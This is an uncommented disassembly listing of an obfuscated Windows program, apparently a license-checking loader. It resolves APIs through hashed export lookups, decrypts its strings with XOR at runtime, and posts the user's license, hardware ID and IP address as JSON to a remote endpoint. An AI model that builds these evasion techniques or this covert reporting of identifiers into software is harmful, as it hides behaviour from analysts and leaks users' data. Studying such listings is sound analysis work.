shufps xmm2, xmm0, 0xdd
movd xmm0, r13d
psrad xmm2, xmm0
movd xmm0, r14d
movdqa xmm1, xmm2
psrld xmm1, xmm0
paddd xmm1, xmm2
pmulld xmm1, xmmword [0x1400859e0]
psubd xmm3, xmm1
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140085a20]
packuswb xmm2, xmm2
paddb xmm2, xmmword [0x140085ba0]
movd xmm0, dword [rsi]
xorps xmm2, xmm0
movd dword [rsi], xmm2
jmp 0x140017920
mov r9, rsi
mov r8d, r15d
nop dword [rax]
nop word [rax + rax]
mov eax, 0x5397829d
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x31
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 4
jl 0x1400178f0
mov rcx, rsi
call r11
lea rcx, [rbp + 0x690]
call fcn.1400059d0
lea rdx, [rbp + 0x528]
lea rcx, [rsp + 0x30]
call fcn.140004f10
mov rsi, rax
mov rcx, qword gs:[0x60]
mov rcx, qword [rcx + 0x18]
mov rcx, qword [rcx + 0x10]
nop word [rax + rax]
mov r10, qword [rcx + 0x30]
movsxd rdx, dword [r10 + 0x3c]
mov edi, dword [rdx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x1400179d6
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x1400179d6
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rax, [rbx + r9*4]
mov edx, dword [rax + r10]
add rdx, r10
mov r8d, 0x811c9dc5
movzx eax, byte [rdx]
inc rdx
test al, al
je 0x1400179d1
nop
movsx eax, al
xor eax, r8d
imul r8d, eax, 0x1000193
movzx eax, byte [rdx]
lea rdx, [rdx + 1]
test al, al
jne 0x1400179b0
cmp r8d, 0xe76fb4aa
je 0x1400179db
test r9d, r9d
jne 0x140017990
mov rcx, qword [rcx]
jmp 0x140017960
mov ecx, dword [rdi + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov r11d, dword [rcx + rdx*4]
add r11, r10
cmp byte [rsi + 0x14], 0
je 0x140017b80
mov r8d, r15d
cmp r12d, 2
jl 0x140017b44
movdqa xmm5, xmmword [0x1400859c0]
movdqa xmm4, xmmword [0x140085c60]
movd xmm6, r13d
movdqa xmm7, xmmword [0x1400859e0]
movd xmm8, r14d
movdqa xmm0, xmmword [0x140085ba0]
movdqa xmmword [rsp + 0x40], xmm0
mov rcx, rsi
mov edx, dword [rsp + 0x40]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140085a20]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140085a20]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x140017a41
cmp r8d, 0x15
jge 0x140017b80
movsxd r9, r8d
add r9, rsi
nop word [rax + rax]
mov eax, 0x5397829d
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x31
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x15
jl 0x140017b50
mov rcx, rsi
call r11
mov r10, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, [rbp + 0x480]
lea rcx, [rsp + 0x30]
call fcn.140004f40
mov r9, rax
cmp byte [rax + 0x11], 0
je 0x140017d30
cmp r12d, 2
jl 0x140017cf5
movdqa xmm5, xmmword [0x1400859c0]
movdqa xmm4, xmmword [0x140085c60]
movd xmm6, r13d
movdqa xmm7, xmmword [0x1400859e0]
movd xmm8, r14d
movdqa xmm0, xmmword [0x140085ba0]
movdqa xmmword [rsp + 0x40], xmm0
mov rcx, rax
mov edx, dword [rsp + 0x40]
nop dword [rax]
movd xmm2, r15d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140085a20]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r15 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140085a20]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add r15d, 8
mov eax, r15d
lea rcx, [rcx + 8]
cmp r15d, 0x10
jl 0x140017bf0
cmp eax, 0x12
jge 0x140017d30
movsxd r8, r15d
add r8, r9
nop dword [rax + rax]
mov eax, 0x5397829d
imul r15d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x31
movzx eax, r15b
sub al, cl
add al, 0x32
xor byte [r8], al
inc r15d
lea r8, [r8 + 1]
cmp r15d, 0x12
jl 0x140017d00
mov rdx, r9
mov rcx, r10
call fcn.1400019c0
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140017dc6
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140017dc6
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
mov r8d, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140017dc1
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140017da0
cmp r8d, 0x2fa62ca8
je 0x140017dcb
test r9d, r9d
jne 0x140017d80
mov rax, qword [rax]
jmp 0x140017d50
mov ecx, dword [rdi + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rcx + rdx*4]
add rax, r10
mov ecx, 0x5dc
call rax
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
mov edx, 0x108
lea rcx, [rbp + 0x8a0]
call fcn.140006600
mov edx, 1
lea rcx, [rbp + 0x8a0]
call fcn.140003120
nop
mov r9d, 0x40
lea r8d, [r9 - 0x3e]
lea rdx, str.key.txt
lea rcx, [rbp + 0x8a0]
call fcn.14000bd70
lea rdx, [rbp + 0x7c0]
lea rcx, [rbp + 0x8a0]
call fcn.1400019a0
lea rcx, [rbp + 0x8a0]
call fcn.140009350
nop
lea rcx, [rbp + 0x8a0]
call fcn.140005510
nop
lea rcx, [rbp + 0x7c0]
call fcn.140003fc0
lea rcx, [0x1400b0800]
call fcn.140026060
lea r8, [0x1400b0940]
lea rdx, str.__User_logged_in__License:
lea rcx, [rbp + 0x210]
call fcn.140001d40
nop
lea r8, str.__HWID:
mov rdx, rax
lea rcx, [rbp + 0x230]
call fcn.140001cd0
nop
lea r8, [0x1400b0980]
mov rdx, rax
lea rcx, [rbp + 0x250]
call fcn.140001c60
nop
lea r8, str.__IP:
mov rdx, rax
lea rcx, [rbp + 0x2b0]
call fcn.140001cd0
nop
lea r8, [0x1400b0960]
mov rdx, rax
lea rcx, [rbp + 0x2d0]
call fcn.140001c60
nop
lea r8, str.__Status_Validation:
mov rdx, rax
lea rcx, [rbp + 0x270]
call fcn.140001cd0
nop
lea r8, [0x1400b0a18]
mov rdx, rax
lea rcx, [rbp + 0x290]
call fcn.140001c60
nop
lea r8, [0x140085888]
mov rdx, rax
lea rcx, [rbp + 0x820]
call fcn.140001cd0
nop
lea rcx, [rbp + 0x290]
call fcn.140003fc0
nop
lea rcx, [rbp + 0x270]
call fcn.140003fc0
nop
lea rcx, [rbp + 0x2d0]
call fcn.140003fc0
nop
lea rcx, [rbp + 0x2b0]
call fcn.140003fc0
nop
lea rcx, [rbp + 0x250]
call fcn.140003fc0
nop
lea rcx, [rbp + 0x230]
call fcn.140003fc0
nop
lea rcx, [rbp + 0x210]
call fcn.140003fc0
lea r8, [rbp + 0x820]
lea rdx, str._content_:
lea rcx, [rbp + 0x350]
call fcn.140001d40
nop
lea r8, str.__embeds_:_null
mov rdx, rax
lea rcx, [rbp + 0x840]
call fcn.140001cd0
nop
lea rcx, [rbp + 0x350]
call fcn.140003fc0
lea rax, [rbp + 0x370]
mov qword [rbp - 0x80], rax
lea rdx, str.application_json
lea rcx, [rbp + 0x370]
call fcn.1400032d0
mov rsi, rax
lea rax, [rbp + 0x390]
mov qword [rbp + 0x158], rax
lea rdx, [rbp + 0x840]
lea rcx, [rbp + 0x390]
call fcn.1400031f0
mov rdi, rax
lea rax, [rbp + 0x3b0]
mov qword [rbp + 0x160], rax
lea rdx, [0x140084f71]
lea rcx, [rbp + 0x3b0]
call fcn.1400032d0
mov rbx, rax
lea rdx, [0x14008591c]
lea rcx, [rbp + 0x3d0]
call fcn.1400032d0
nop
mov qword [rsp + 0x28], rsi
mov qword [rsp + 0x20], rdi
mov r9, rbx
mov r8, rax
lea rdx, [rbp + 0x3f0]
lea rcx, [0x1400b0800]
call fcn.1400308f0
lea rcx, [rbp + 0x3f0]
call fcn.140003fc0
cmp byte [0x1400b0a10], 0
jne 0x1400185f6
lea rcx, [rbp + 0x690]
call fcn.1400059d0
lea rdx, [rbp + 0x540]
lea rcx, [rsp + 0x30]
call fcn.140004f60
mov rsi, rax
mov rcx, qword gs:[0x60]
mov rcx, qword [rcx + 0x18]
mov rcx, qword [rcx + 0x10]
nop word [rax + rax]
mov r10, qword [rcx + 0x30]
movsxd rdx, dword [r10 + 0x3c]
mov edi, dword [rdx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140018136
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140018136
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rax, [r10 + r9*4]
mov edx, dword [rax + rbx]
add rdx, r10
mov r8d, 0x811c9dc5
movzx eax, byte [rdx]
inc rdx
test al, al
je 0x140018131
nop dword [rax]
movsx eax, al
xor eax, r8d
imul r8d, eax, 0x1000193
movzx eax, byte [rdx]
lea rdx, [rdx + 1]
test al, al
jne 0x140018110
cmp r8d, 0xe76fb4aa
je 0x14001813b
test r9d, r9d
jne 0x1400180f0
mov rcx, qword [rcx]
jmp 0x1400180c0
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov r11d, dword [rcx + rax*4]
add r11, r10
cmp byte [rsi + 0x14], 0
je 0x1400182e0
mov r8d, r15d
cmp r12d, 2
jl 0x1400182a4
movdqa xmm5, xmmword [0x1400859c0]
movdqa xmm4, xmmword [0x140085c60]
movd xmm6, r13d
movdqa xmm7, xmmword [0x1400859e0]
movd xmm8, r14d
movdqa xmm0, xmmword [0x140085ba0]
movdqa xmmword [rsp + 0x40], xmm0
mov rcx, rsi
mov edx, dword [rsp + 0x40]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140085a20]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140085a20]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x1400181a1
cmp r8d, 0x15
jge 0x1400182e0
movsxd r9, r8d
add r9, rsi
nop word [rax + rax]
mov eax, 0x5397829d
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x31
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x15
jl 0x1400182b0
mov rcx, rsi
call r11
mov r11, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, [rbp + 0x468]
lea rcx, [rsp + 0x30]
call fcn.140004f90
mov r10, rax
cmp byte [rax + 0x11], 0
je 0x140018490
mov r8d, r15d
cmp r12d, 2
jl 0x140018453
movdqa xmm5, xmmword [0x1400859c0]
movdqa xmm4, xmmword [0x140085c60]
movd xmm6, r13d
movdqa xmm7, xmmword [0x1400859e0]
movd xmm8, r14d
movdqa xmm0, xmmword [0x140085ba0]
movdqa xmmword [rsp + 0x40], xmm0
mov rcx, rax
mov edx, dword [rsp + 0x40]
nop
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140085a20]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140085a20]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x140018350
cmp r8d, 0x12
jge 0x140018490
movsxd r9, r8d
add r9, r10
nop dword [rax]
mov eax, 0x5397829d
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x31
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x12
jl 0x140018460
mov rdx, r10
mov rcx, r11
call fcn.1400019c0
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140018526
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140018526
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
mov r8d, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140018521
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140018500
cmp r8d, 0x2fa62ca8
je 0x14001852b
test r9d, r9d
jne 0x1400184e0
mov rax, qword [rax]
jmp 0x1400184b0
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
mov ecx, 0x5dc
call rdx
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x1400185d6
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x1400185d6
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
mov r8d, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x1400185d1
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x1400185b0
cmp r8d, 0xcded1a85
je 0x1400185db
test r9d, r9d
jne 0x140018590
mov rax, qword [rax]
jmp 0x140018560
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
xor ecx, ecx
call rdx
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140018686
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140018686
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140018681
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140018660
cmp r8d, 0x2fa62ca8
je 0x14001868b
test r9d, r9d
jne 0x140018640
mov rax, qword [rax]
jmp 0x140018610
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
mov ecx, 0x7d0
call rdx
lea rcx, [0x1400b0800]
call fcn.140026060
lea rdx, [rbp + 0x7c]
lea rcx, [rsp + 0x30]
call fcn.140004fb0
mov rsi, rax
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140018756
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140018756
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
mov r8d, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140018751
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140018730
cmp r8d, 0x491e0a9c
je 0x14001875b
test r9d, r9d
jne 0x140018710
mov rax, qword [rax]
jmp 0x1400186e0
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov r11d, dword [rcx + rax*4]
add r11, r10
cmp byte [rsi + 3], 0
je 0x140018850
cmp r12d, 2
jl 0x14001880b
movdqa xmm3, xmmword [0x1400859c0]
movdqa xmm2, xmm3
punpckldq xmm2, xmm3
pmuldq xmm2, xmmword [0x140085c60]
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmmword [0x140085c60]
shufps xmm2, xmm0, 0xdd
movd xmm0, r13d
psrad xmm2, xmm0
movd xmm0, r14d
movdqa xmm1, xmm2
psrld xmm1, xmm0
paddd xmm1, xmm2
pmulld xmm1, xmmword [0x1400859e0]
psubd xmm3, xmm1
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140085a20]
packuswb xmm2, xmm2
paddb xmm2, xmmword [0x140085ba0]
movd xmm0, dword [rsi]
xorps xmm2, xmm0
movd dword [rsi], xmm2
jmp 0x140018850
mov r9, rsi
mov r8d, r15d
nop dword [rax]
nop word [rax + rax]
mov eax, 0x5397829d
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x31
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 4
jl 0x140018820
mov rcx, rsi
call r11
lea rdx, [rbp + 0x558]
lea rcx, [rsp + 0x30]
call fcn.140004fc0
mov rsi, rax
mov rcx, qword gs:[0x60]
mov rcx, qword [rcx + 0x18]
mov rcx, qword [rcx + 0x10]
nop dword [rax + rax]
mov r10, qword [rcx + 0x30]
movsxd rdx, dword [r10 + 0x3c]
mov edi, dword [rdx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x1400188f6
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x1400188f6
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rax, [rbx + r9*4]
mov edx, dword [rax + r10]
add rdx, r10
mov r8d, 0x811c9dc5
movzx eax, byte [rdx]
inc rdx
test al, al
je 0x1400188f1
nop
movsx eax, al
xor eax, r8d
imul r8d, eax, 0x1000193
movzx eax, byte [rdx]
lea rdx, [rdx + 1]
test al, al
jne 0x1400188d0
cmp r8d, 0xe76fb4aa
je 0x1400188fb
test r9d, r9d
jne 0x1400188b0
mov rcx, qword [rcx]
jmp 0x140018880
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov r11d, dword [rcx + rax*4]
add r11, r10
cmp byte [rsi + 0x14], 0
je 0x140018aa0
mov r8d, r15d
cmp r12d, 2
jl 0x140018a64
movdqa xmm5, xmmword [0x1400859c0]
movdqa xmm4, xmmword [0x140085c60]
movd xmm6, r13d
movdqa xmm7, xmmword [0x1400859e0]
movd xmm8, r14d
movdqa xmm0, xmmword [0x140085ba0]
movdqa xmmword [rsp + 0x40], xmm0
mov rcx, rsi
mov edx, dword [rsp + 0x40]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140085a20]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140085a20]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x140018961
cmp r8d, 0x15
jge 0x140018aa0
movsxd r9, r8d
add r9, rsi
nop word [rax + rax]
mov eax, 0x5397829d
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x31
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x15
jl 0x140018a70
mov rcx, rsi
call r11
mov r11, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, [rbp + 0x600]
lea rcx, [rsp + 0x30]
call fcn.140004ff0
mov r10, rax
cmp byte [rax + 0x16], 0
je 0x140018c50
mov r8d, r15d
cmp r12d, 2
jl 0x140018c13
movdqa xmm5, xmmword [0x1400859c0]
movdqa xmm4, xmmword [0x140085c60]
movd xmm6, r13d
movdqa xmm7, xmmword [0x1400859e0]
movd xmm8, r14d
movdqa xmm0, xmmword [0x140085ba0]
movdqa xmmword [rsp + 0x40], xmm0
mov rcx, rax
mov edx, dword [rsp + 0x40]
nop
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
